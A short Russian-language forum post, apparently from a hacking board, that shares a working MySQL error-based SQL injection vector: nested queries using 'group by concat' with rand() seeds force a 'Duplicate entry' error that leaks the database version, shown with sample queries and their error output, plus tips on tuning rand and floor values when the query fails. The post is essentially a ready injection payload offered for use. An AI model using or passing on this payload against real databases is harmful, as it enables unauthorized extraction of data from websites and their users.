
05.12.2016, 21:43
|
|
Постоянный
Регистрация: 10.02.2012
Сообщений: 830
Провел на форуме: 300820
Репутация:
90
|
|
стопудово это с rand накосячили, пофазил другие функции, такого поведения нет
рабочий вектор 'Duplicate entry' для error-based
> select * from users where id=1 or (select count(*)from(select(1)union(select(2)))x group by concat(/*my*/(select version())/*select*/,':',(md5(rand(19)*2) + 1)));
ERROR 1062 (23000): Duplicate entry '5.6.31:1' for key 'group_key'
> select * from users where id=1 or (select count(*)from(select(1)union(select(2)))x group by concat(/*my*/(select version())/*select*/,':',(md5(rand(0)*2) + 1)));
ERROR 1062 (23000): Duplicate entry '5.6.31:1' for key 'group_key'
если получаем "Subquery returns more than 1 row" поиграться с числами для rand, rand(0)/rand(6)/rand(19) , можно юзать floor, но там тоже магия с числами, у меня завелось только с floor(rand(12)*2))
нафига не знаю, уверен где нибудь в недрах рдота или ачата это уже описано, хотел пофлудить
-------------
ну да это классический error-based, wtf почему не решили пофиксить ипать сколько лет уже прошло
|
|
|